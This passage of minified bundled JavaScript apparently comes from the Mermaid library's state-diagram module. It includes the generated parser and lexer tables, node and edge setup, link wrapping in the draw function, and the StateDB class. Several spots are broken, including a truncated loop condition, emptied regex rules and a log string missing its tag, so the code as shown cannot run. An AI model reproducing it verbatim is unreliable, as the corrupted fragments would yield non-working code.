47:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,16,17,19,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,5]),{9:39,10:12,11:13,12:14,13:15,16:l,17:u,19:h,22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,7]),t(D,[2,8]),t(D,[2,9]),t(D,[2,10]),t(D,[2,11]),t(D,[2,12],{14:[1,40],15:[1,41]}),t(D,[2,16]),{18:[1,42]},t(D,[2,18],{20:[1,43]}),{23:[1,44]},t(D,[2,22]),t(D,[2,23]),t(D,[2,24]),t(D,[2,25]),{30:45,31:[1,46],59:[1,47],60:[1,48]},t(D,[2,28]),{34:[1,49]},{36:[1,50]},t(D,[2,31]),{13:51,24:d,57:E},{42:[1,52],44:[1,53]},{46:[1,54]},{49:[1,55]},t(_,[2,44],{58:[1,56]}),t(_,[2,45],{58:[1,57]}),t(D,[2,38]),t(D,[2,39]),t(D,[2,40]),t(D,[2,41]),t(D,[2,6]),t(D,[2,13]),{13:58,24:d,57:E},t(D,[2,17]),t(O,i,{7:59}),{24:[1,60]},{24:[1,61]},{23:[1,62]},{24:[2,48]},{24:[2,49]},t(D,[2,29]),t(D,[2,30]),{39:[1,63],40:[1,64]},{43:[1,65]},{43:[1,66]},{47:[1,67]},{50:[1,68]},{24:[1,69]},{24:[1,70]},t(D,[2,14],{14:[1,71]}),{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,72],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,20],{20:[1,73]}),{31:[1,74]},{24:[1,75]},{39:[1,76]},{39:[1,77]},t(D,[2,34]),t(D,[2,35]),t(D,[2,36]),t(D,[2,37]),t(_,[2,46]),t(_,[2,47]),t(D,[2,15]),t(D,[2,19]),t(O,i,{7:78}),t(D,[2,26]),t(D,[2,27]),{5:[1,79]},{5:[1,80]},{4:a,5:s,8:8,9:10,10:12,11:13,12:14,13:15,16:l,17:u,19:h,21:[1,81],22:f,24:d,25:p,26:m,27:g,28:y,29:v,32:25,33:x,35:b,37:T,38:S,41:w,45:k,48:A,51:C,52:R,53:I,54:L,57:E},t(D,[2,32]),t(D,[2,33]),t(D,[2,21])],defaultActions:{5:[2,1],6:[2,2],47:[2,48],48:[2,49]},parseError:o(function(G,$){if($.recoverable)this.trace(G);else{var U=new Error(G);throw U.hash=$,U}},"parseError"),parse:o(function(G){var $=this,U=[0],j=[],te=[null],Y=[],oe=this.table,J="",ue=0,re=0,ee=0,Z=2,K=1,ae=Y.slice.call(arguments,1),Q=Object.create(this.lexer),de={yy:{}};for(var ne in this.yy)Object.prototype.hasOwnProperty.call(this.yy,ne)&&(de.yy[ne]=this.yy[ne]);Q.setInput(G,de.yy),de.yy.lexer=Q,de.yy.parser=this,typeof Q.yylloc>"u"&&(Q.yylloc={});var Te=Q.yylloc;Y.push(Te);var q=Q.options&&Q.options.ranges;typeof de.yy.parseError=="function"?this.parseError=de.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Ve(z){U.length=U.length-2*z,te.length=te.length-z,Y.length=Y.length-z}o(Ve,"popStack");function pe(){var z;return z=j.pop()||Q.lex()||K,typeof z!="number"&&(z instanceof Array&&(j=z,z=j.pop()),z=$.symbols_[z]||z),z}o(pe,"lex");for(var Be,Ye,He,Le,Ie,Ne,Ce={},Fe,fe,xe,W;;){if(He=U[U.length-1],this.defaultActions[He]?Le=this.defaultActions[He]:((Be===null||typeof Be>"u")&&(Be=pe()),Le=oe[He]&&oe[He][Be]),typeof Le>"u"||!Le.length||!Le[0]){var he="";W=[];for(Fe in oe[He])this.terminals_[Fe]&&Fe>Z&&W.push("'"+this.terminals_[Fe]+"'");Q.showPosition?he="Parse error on line "+(ue+1)+`: +`+Q.showPosition()+` +Expecting `+W.join(", ")+", got '"+(this.terminals_[Be]||Be)+"'":he="Parse error on line "+(ue+1)+": Unexpected "+(Be==K?"end of input":"'"+(this.terminals_[Be]||Be)+"'"),this.parseError(he,{text:Q.match,token:this.terminals_[Be]||Be,line:Q.yylineno,loc:Te,expected:W})}if(Le[0]instanceof Array&&Le.length>1)throw new Error("Parse Error: multiple actions possible at state: "+He+", token: "+Be);switch(Le[0]){case 1:U.push(Be),te.push(Q.yytext),Y.push(Q.yylloc),U.push(Le[1]),Be=null,Ye?(Be=Ye,Ye=null):(re=Q.yyleng,J=Q.yytext,ue=Q.yylineno,Te=Q.yylloc,ee>0&&ee--);break;case 2:if(fe=this.productions_[Le[1]][1],Ce.$=te[te.length-fe],Ce._$={first_line:Y[Y.length-(fe||1)].first_line,last_line:Y[Y.length-1].last_line,first_column:Y[Y.length-(fe||1)].first_column,last_column:Y[Y.length-1].last_column},q&&(Ce._$.range=[Y[Y.length-(fe||1)].range[0],Y[Y.length-1].range[1]]),Ne=this.performAction.apply(Ce,[J,re,ue,de.yy,Le[1],te,Y].concat(ae)),typeof Ne<"u")return Ne;fe&&(U=U.slice(0,-1*fe*2),te=te.slice(0,-1*fe),Y=Y.slice(0,-1*fe)),U.push(this.productions_[Le[1]][0]),te.push(Ce.$),Y.push(Ce._$),xe=oe[U[U.length-2]][U[U.length-1]],U.push(xe);break;case 3:return!0}}return!0},"parse")},P=(function(){var F={EOF:1,parseError:o(function($,U){if(this.yy.parser)this.yy.parser.parseError($,U);else throw new Error($)},"parseError"),setInput:o(function(G,$){return this.yy=$||this.yy||{},this._input=G,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var G=this._input[0];this.yytext+=G,this.yyleng++,this.offset++,this.match+=G,this.matched+=G;var $=G.match(/(?:\r\n?|\n).*/g);return $?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),G},"input"),unput:o(function(G){var $=G.length,U=G.split(/(?:\r\n?|\n)/g);this._input=G+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-$),this.offset-=$;var j=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),U.length-1&&(this.yylineno-=U.length-1);var te=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:U?(U.length===j.length?this.yylloc.first_column:0)+j[j.length-U.length].length-U[0].length:this.yylloc.first_column-$},this.options.ranges&&(this.yylloc.range=[te[0],te[0]+this.yyleng-$]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(G){this.unput(this.match.slice(G))},"less"),pastInput:o(function(){var G=this.matched.substr(0,this.matched.length-this.match.length);return(G.length>20?"...":"")+G.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var G=this.match;return G.length<20&&(G+=this._input.substr(0,20-G.length)),(G.substr(0,20)+(G.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var G=this.pastInput(),$=new Array(G.length+1).join("-");return G+this.upcomingInput()+` +`+$+"^"},"showPosition"),test_match:o(function(G,$){var U,j,te;if(this.options.backtrack_lexer&&(te={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(te.yylloc.range=this.yylloc.range.slice(0))),j=G[0].match(/(?:\r\n?|\n).*/g),j&&(this.yylineno+=j.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:j?j[j.length-1].length-j[j.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+G[0].length},this.yytext+=G[0],this.match+=G[0],this.matches=G,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(G[0].length),this.matched+=G[0],U=this.performAction.call(this,this.yy,this,$,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),U)return U;if(this._backtrack){for(var Y in te)this[Y]=te[Y];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var G,$,U,j;this._more||(this.yytext="",this.match="");for(var te=this._currentRules(),Y=0;Y$[0].length)){if($=U,j=Y,this.options.backtrack_lexer){if(G=this.test_match(U,te[Y]),G!==!1)return G;if(this._backtrack){$=!1;continue}else return!1}else if(!this.options.flex)break}return $?(G=this.test_match($,te[j]),G!==!1?G:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var $=this.next();return $||this.lex()},"lex"),begin:o(function($){this.conditionStack.push($)},"begin"),popState:o(function(){var $=this.conditionStack.length-1;return $>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function($){return $=this.conditionStack.length-1-Math.abs($||0),$>=0?this.conditionStack[$]:"INITIAL"},"topState"),pushState:o(function($){this.begin($)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function($,U,j,te){var Y=te;switch(j){case 0:return 38;case 1:return 40;case 2:return 39;case 3:return 44;case 4:return 51;case 5:return 52;case 6:return 53;case 7:return 54;case 8:break;case 9:break;case 10:return 5;case 11:break;case 12:break;case 13:break;case 14:break;case 15:return this.pushState("SCALE"),17;break;case 16:return 18;case 17:this.popState();break;case 18:return this.begin("acc_title"),33;break;case 19:return this.popState(),"acc_title_value";break;case 20:return this.begin("acc_descr"),35;break;case 21:return this.popState(),"acc_descr_value";break;case 22:this.begin("acc_descr_multiline");break;case 23:this.popState();break;case 24:return"acc_descr_multiline_value";case 25:return this.pushState("CLASSDEF"),41;break;case 26:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 27:return this.popState(),this.pushState("CLASSDEFID"),42;break;case 28:return this.popState(),43;break;case 29:return this.pushState("CLASS"),48;break;case 30:return this.popState(),this.pushState("CLASS_STYLE"),49;break;case 31:return this.popState(),50;break;case 32:return this.pushState("STYLE"),45;break;case 33:return this.popState(),this.pushState("STYLEDEF_STYLES"),46;break;case 34:return this.popState(),47;break;case 35:return this.pushState("SCALE"),17;break;case 36:return 18;case 37:this.popState();break;case 38:this.pushState("STATE");break;case 39:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 40:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 41:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 42:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),25;break;case 43:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),26;break;case 44:return this.popState(),U.yytext=U.yytext.slice(0,-10).trim(),27;break;case 45:return 51;case 46:return 52;case 47:return 53;case 48:return 54;case 49:this.pushState("STATE_STRING");break;case 50:return this.pushState("STATE_ID"),"AS";break;case 51:return this.popState(),"ID";break;case 52:this.popState();break;case 53:return"STATE_DESCR";case 54:return 19;case 55:this.popState();break;case 56:return this.popState(),this.pushState("struct"),20;break;case 57:break;case 58:return this.popState(),21;break;case 59:break;case 60:return this.begin("NOTE"),29;break;case 61:return this.popState(),this.pushState("NOTE_ID"),59;break;case 62:return this.popState(),this.pushState("NOTE_ID"),60;break;case 63:this.popState(),this.pushState("FLOATING_NOTE");break;case 64:return this.popState(),this.pushState("FLOATING_NOTE_ID"),"AS";break;case 65:break;case 66:return"NOTE_TEXT";case 67:return this.popState(),"ID";break;case 68:return this.popState(),this.pushState("NOTE_TEXT"),24;break;case 69:return this.popState(),U.yytext=U.yytext.substr(2).trim(),31;break;case 70:return this.popState(),U.yytext=U.yytext.slice(0,-8).trim(),31;break;case 71:return 6;case 72:return 6;case 73:return 16;case 74:return 57;case 75:return 24;case 76:return U.yytext=U.yytext.trim(),14;break;case 77:return 15;case 78:return 28;case 79:return 58;case 80:return 5;case 81:return"INVALID"}},"anonymous"),rules:[/^(?:click\b)/i,/^(?:href\b)/i,/^(?:"[^"]*")/i,/^(?:default\b)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:[\s]+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:classDef\s+)/i,/^(?:DEFAULT\s+)/i,/^(?:\w+\s+)/i,/^(?:[^\n]*)/i,/^(?:class\s+)/i,/^(?:(\w+)+((,\s*\w+)*))/i,/^(?:[^\n]*)/i,/^(?:style\s+)/i,/^(?:[\w,]+\s+)/i,/^(?:[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:state\s+)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*\[\[fork\]\])/i,/^(?:.*\[\[join\]\])/i,/^(?:.*\[\[choice\]\])/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:["])/i,/^(?:\s*as\s+)/i,/^(?:[^\n\{]*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n\s\{]+)/i,/^(?:\n)/i,/^(?:\{)/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:\})/i,/^(?:[\n])/i,/^(?:note\s+)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:")/i,/^(?:\s*as\s*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n]*)/i,/^(?:\s*[^:\n\s\-]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:[\s\S]*?end note\b)/i,/^(?:stateDiagram\s+)/i,/^(?:stateDiagram-v2\s+)/i,/^(?:hide empty description\b)/i,/^(?:\[\*\])/i,/^(?:[^:\n\s\-\{]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:-->)/i,/^(?:--)/i,/^(?::::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{LINE:{rules:[12,13],inclusive:!1},struct:{rules:[12,13,25,29,32,38,45,46,47,48,57,58,59,60,74,75,76,77,78],inclusive:!1},FLOATING_NOTE_ID:{rules:[67],inclusive:!1},FLOATING_NOTE:{rules:[64,65,66],inclusive:!1},NOTE_TEXT:{rules:[69,70],inclusive:!1},NOTE_ID:{rules:[68],inclusive:!1},NOTE:{rules:[61,62,63],inclusive:!1},STYLEDEF_STYLEOPTS:{rules:[],inclusive:!1},STYLEDEF_STYLES:{rules:[34],inclusive:!1},STYLE_IDS:{rules:[],inclusive:!1},STYLE:{rules:[33],inclusive:!1},CLASS_STYLE:{rules:[31],inclusive:!1},CLASS:{rules:[30],inclusive:!1},CLASSDEFID:{rules:[28],inclusive:!1},CLASSDEF:{rules:[26,27],inclusive:!1},acc_descr_multiline:{rules:[23,24],inclusive:!1},acc_descr:{rules:[21],inclusive:!1},acc_title:{rules:[19],inclusive:!1},SCALE:{rules:[16,17,36,37],inclusive:!1},ALIAS:{rules:[],inclusive:!1},STATE_ID:{rules:[51],inclusive:!1},STATE_STRING:{rules:[52,53],inclusive:!1},FORK_STATE:{rules:[],inclusive:!1},STATE:{rules:[12,13,39,40,41,42,43,44,49,50,54,55,56],inclusive:!1},ID:{rules:[12,13],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,18,20,22,25,29,32,35,38,56,60,71,72,73,74,75,76,77,79,80,81],inclusive:!0}}};return F})();M.lexer=P;function B(){this.yy={}}return o(B,"Parser"),B.prototype=M,M.Parser=B,new B})();u$.parser=u$;oC=u$});var Qf,u0,E4,ove,lve,cve,h0,lC,f$,d$,p$,m$,cC,uC,uve,hve,g$,y$,fve,dve,oy,jJe,pve,v$,KJe,QJe,mve,gve,ZJe,yve,JJe,vve,x$,b$,xve,hC,bve,T$,fC=N(()=>{"use strict";Qf="state",u0="root",E4="relation",ove="classDef",lve="style",cve="applyClass",h0="default",lC="divider",f$="fill:none",d$="fill: #333",p$="text",m$="normal",cC="rect",uC="rectWithTitle",uve="stateStart",hve="stateEnd",g$="divider",y$="roundedWithTitle",fve="note",dve="noteGroup",oy="statediagram",jJe="state",pve=`${oy}-${jJe}`,v$="transition",KJe="note",QJe="note-edge",mve=`${v$} ${QJe}`,gve=`${oy}-${KJe}`,ZJe="cluster",yve=`${oy}-${ZJe}`,JJe="cluster-alt",vve=`${oy}-${JJe}`,x$="parent",b$="note",xve="state",hC="----",bve=`${hC}${b$}`,T$=`${hC}${x$}`});function w$(t="",e=0,r="",n=hC){let i=r!==null&&r.length>0?`${n}${r}`:"";return`${xve}-${t}${i}-${e}`}function dC(t,e,r){if(!e.id||e.id===""||e.id==="")return;e.cssClasses&&(Array.isArray(e.cssCompiledStyles)||(e.cssCompiledStyles=[]),e.cssClasses.split(" ").forEach(i=>{let a=r.get(i);a&&(e.cssCompiledStyles=[...e.cssCompiledStyles??[],...a.styles])}));let n=t.find(i=>i.id===e.id);n?Object.assign(n,e):t.push(e)}function tet(t){return t?.classes?.join(" ")??""}function ret(t){return t?.styles??[]}var pC,Zf,eet,Tve,ly,kve,Eve=N(()=>{"use strict";Xt();pt();gr();fC();pC=new Map,Zf=0;o(w$,"stateDomId");eet=o((t,e,r,n,i,a,s,l)=>{X.trace("items",e),e.forEach(u=>{switch(u.stmt){case Qf:ly(t,u,r,n,i,a,s,l);break;case h0:ly(t,u,r,n,i,a,s,l);break;case E4:{ly(t,u.state1,r,n,i,a,s,l),ly(t,u.state2,r,n,i,a,s,l);let h={id:"edge"+Zf,start:u.state1.id,end:u.state2.id,arrowhead:"normal",arrowTypeEnd:"arrow_barb",style:f$,labelStyle:"",label:tt.sanitizeText(u.description??"",ge()),arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,classes:v$,look:s};i.push(h),Zf++}break}})},"setupDoc"),Tve=o((t,e="TB")=>{let r=e;if(t.doc)for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir");o(dC,"insertOrUpdateNode");o(tet,"getClassesFromDbInfo");o(ret,"getStylesFromDbInfo");ly=o((t,e,r,n,i,a,s,l)=>{let u=e.id,h=r.get(u),f=tet(h),d=ret(h),p=ge();if(X.info("dataFetcher parsedItem",e,h,d),u!=="root"){let m=cC;e.start===!0?m=uve:e.start===!1&&(m=hve),e.type!==h0&&(m=e.type),pC.get(u)||pC.set(u,{id:u,shape:m,description:tt.sanitizeText(u,p),cssClasses:`${f} ${pve}`,cssStyles:d});let g=pC.get(u);e.description&&(Array.isArray(g.description)?(g.shape=uC,g.description.push(e.description)):g.description?.length&&g.description.length>0?(g.shape=uC,g.description===u?g.description=[e.description]:g.description=[g.description,e.description]):(g.shape=cC,g.description=e.description),g.description=tt.sanitizeTextOrArray(g.description,p)),g.description?.length===1&&g.shape===uC&&(g.type==="group"?g.shape=y$:g.shape=cC),!g.type&&e.doc&&(X.info("Setting cluster for XCX",u,Tve(e)),g.type="group",g.isGroup=!0,g.dir=Tve(e),g.shape=e.type===lC?g$:y$,g.cssClasses=`${g.cssClasses} ${yve} ${a?vve:""}`);let y={labelStyle:"",shape:g.shape,label:g.description,cssClasses:g.cssClasses,cssCompiledStyles:[],cssStyles:g.cssStyles,id:u,dir:g.dir,domId:w$(u,Zf),type:g.type,isGroup:g.type==="group",padding:8,rx:10,ry:10,look:s};if(y.shape===g$&&(y.label=""),t&&t.id!=="root"&&(X.trace("Setting node ",u," to be child of its parent ",t.id),y.parentId=t.id),y.centerLabel=!0,e.note){let v={labelStyle:"",shape:fve,label:e.note.text,cssClasses:gve,cssStyles:[],cssCompiledStyles:[],id:u+bve+"-"+Zf,domId:w$(u,Zf,b$),type:g.type,isGroup:g.type==="group",padding:p.flowchart?.padding,look:s,position:e.note.position},x=u+T$,b={labelStyle:"",shape:dve,label:e.note.text,cssClasses:g.cssClasses,cssStyles:[],id:u+T$,domId:w$(u,Zf,x$),type:"group",isGroup:!0,padding:16,look:s,position:e.note.position};Zf++,b.id=x,v.parentId=x,dC(n,b,l),dC(n,v,l),dC(n,y,l);let T=u,S=v.id;e.note.position==="left of"&&(T=v.id,S=u),i.push({id:T+"-"+S,start:T,end:S,arrowhead:"none",arrowTypeEnd:"",style:f$,labelStyle:"",classes:mve,arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,look:s})}else dC(n,y,l)}e.doc&&(X.trace("Adding nodes children "),eet(e,e.doc,r,n,i,!a,s,l))},"dataFetcher"),kve=o(()=>{pC.clear(),Zf=0},"reset")});var E$,net,iet,Sve,S$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();fC();E$=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),net=o(function(t,e){return e.db.getClasses()},"getClasses"),iet=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,state:a,layout:s}=ge();n.db.extract(n.db.getRootDocV2());let l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=s,l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["barb"],l.diagramId=e,await Qo(l,u);let h=8;try{(typeof n.db.getLinks=="function"?n.db.getLinks():new Map).forEach((d,p)=>{let m=typeof p=="string"?p:typeof p?.id=="string"?p.id:"";if(!m){X.warn("\u26A0\uFE0F Invalid or missing stateId from key:",JSON.stringify(p));return}let g=u.node()?.querySelectorAll("g"),y;if(g?.forEach(T=>{T.textContent?.trim()===m&&(y=T)}),!y){X.warn("\u26A0\uFE0F Could not find node matching text:",m);return}let v=y.parentNode;if(!v){X.warn("\u26A0\uFE0F Node has no parent, cannot wrap:",m);return}let x=document.createElementNS("http://www.w3.org/2000/svg","a"),b=d.url.replace(/^"+|"+$/g,"");if(x.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",b),x.setAttribute("target","_blank"),d.tooltip){let T=d.tooltip.replace(/^"+|"+$/g,"");x.setAttribute("title",T)}v.replaceChild(x,y),x.appendChild(y),X.info("\u{1F517} Wrapped node in
    tag for:",m,d.url)})}catch(f){X.error("\u274C Error injecting clickable links:",f)}qt.insertTitle(u,"statediagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,oy,a?.useMaxWidth??!0)},"draw"),Sve={getClasses:net,draw:iet,getDir:E$}});var ws,Ave,_ve,mC,al,gC=N(()=>{"use strict";Xt();pt();tr();gr();ci();Eve();S$();fC();ws={START_NODE:"[*]",START_TYPE:"start",END_NODE:"[*]",END_TYPE:"end",COLOR_KEYWORD:"color",FILL_KEYWORD:"fill",BG_FILL:"bgFill",STYLECLASS_SEP:","},Ave=o(()=>new Map,"newClassesList"),_ve=o(()=>({relations:[],states:new Map,documents:{}}),"newDoc"),mC=o(t=>JSON.parse(JSON.stringify(t)),"clone"),al=class{constructor(e){this.version=e;this.nodes=[];this.edges=[];this.rootDoc=[];this.classes=Ave();this.documents={root:_ve()};this.currentDocument=this.documents.root;this.startEndCount=0;this.dividerCnt=0;this.links=new Map;this.getAccTitle=Mr;this.setAccTitle=Rr;this.getAccDescription=Or;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.clear(),this.setRootDoc=this.setRootDoc.bind(this),this.getDividerId=this.getDividerId.bind(this),this.setDirection=this.setDirection.bind(this),this.trimColon=this.trimColon.bind(this)}static{o(this,"StateDB")}static{this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3}}extract(e){this.clear(!0);for(let i of Array.isArray(e)?e:e.doc)switch(i.stmt){case Qf:this.addState(i.id.trim(),i.type,i.doc,i.description,i.note);break;case E4:this.addRelation(i.state1,i.state2,i.description);break;case ove:this.addStyleClass(i.id.trim(),i.classes);break;case lve:this.handleStyleDef(i);break;case cve:this.setCssClass(i.id.trim(),i.styleClass);break;case"click":this.addLink(i.id,i.url,i.tooltip);break}let r=this.getStates(),n=ge();kve(),ly(void 0,this.getRootDocV2(),r,this.nodes,this.edges,!0,n.look,this.classes);for(let i of this.nodes)if(Array.isArray(i.label)){if(i.description=i.label.slice(1),i.isGroup&&i.description.length>0)throw new Error(`Group nodes can only have label. Remove the additional description for node [${i.id}]`);i.label=i.label[0]}}handleStyleDef(e){let r=e.id.trim().split(","),n=e.styleClass.split(",");for(let i of r){let a=this.getState(i);if(!a){let s=i.trim();this.addState(s),a=this.getState(s)}a&&(a.styles=n.map(s=>s.replace(/;/g,"")?.trim()))}}setRootDoc(e){X.info("Setting root doc",e),this.rootDoc=e,this.version===1?this.extract(e):this.extract(this.getRootDocV2())}docTranslator(e,r,n){if(r.stmt===E4){this.docTranslator(e,r.state1,!0),this.docTranslator(e,r.state2,!1);return}if(r.stmt===Qf&&(r.id===ws.START_NODE?(r.id=e.id+(n?"_start":"_end"),r.start=n):r.id=r.id.trim()),r.stmt!==u0&&r.stmt!==Qf||!r.doc)return;let i=[],a=[];for(let s of r.doc)if(s.type===lC){let l=mC(s);l.doc=mC(a),i.push(l),a=[]}else a.push(s);if(i.length>0&&a.length>0){let s={stmt:Qf,id:GL(),type:"divider",doc:mC(a)};i.push(mC(s)),r.doc=i}r.doc.forEach(s=>this.docTranslator(r,s,!0))}getRootDocV2(){return this.docTranslator({id:u0,stmt:u0},{id:u0,stmt:u0,doc:this.rootDoc},!0),{id:u0,doc:this.rootDoc}}addState(e,r=h0,n=void 0,i=void 0,a=void 0,s=void 0,l=void 0,u=void 0){let h=e?.trim();if(!this.currentDocument.states.has(h))X.info("Adding state ",h,i),this.currentDocument.states.set(h,{stmt:Qf,id:h,descriptions:[],type:r,doc:n,note:a,classes:[],styles:[],textStyles:[]});else{let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.doc||(f.doc=n),f.type||(f.type=r)}if(i&&(X.info("Setting state description",h,i),(Array.isArray(i)?i:[i]).forEach(d=>this.addDescription(h,d.trim()))),a){let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.note=a,f.note.text=tt.sanitizeText(f.note.text,ge())}s&&(X.info("Setting state classes",h,s),(Array.isArray(s)?s:[s]).forEach(d=>this.setCssClass(h,d.trim()))),l&&(X.info("Setting state styles",h,l),(Array.isArray(l)?l:[l]).forEach(d=>this.setStyle(h,d.trim()))),u&&(X.info("Setting state styles",h,l),(Array.isArray(u)?u:[u]).forEach(d=>this.setTextStyle(h,d.trim())))}clear(e){this.nodes=[],this.edges=[],this.documents={root:_ve()},this.currentDocument=this.documents.root,this.startEndCount=0,this.classes=Ave(),e||(this.links=new Map,Sr())}getState(e){return this.currentDocument.states.get(e)}getStates(){return this.currentDocument.states}logDocuments(){X.info("Documents = ",this.documents)}getRelations(){return this.currentDocument.relations}addLink(e,r,n){this.links.set(e,{url:r,tooltip:n}),X.warn("Adding link",e,r,n)}getLinks(){return this.links}startIdIfNeeded(e=""){return e===ws.START_NODE?(this.startEndCount++,`${ws.START_TYPE}${this.startEndCount}`):e}startTypeIfNeeded(e="",r=h0){return e===ws.START_NODE?ws.START_TYPE:r}endIdIfNeeded(e=""){return e===ws.END_NODE?(this.startEndCount++,`${ws.END_TYPE}${this.startEndCount}`):e}endTypeIfNeeded(e="",r=h0){return e===ws.END_NODE?ws.END_TYPE:r}addRelationObjs(e,r,n=""){let 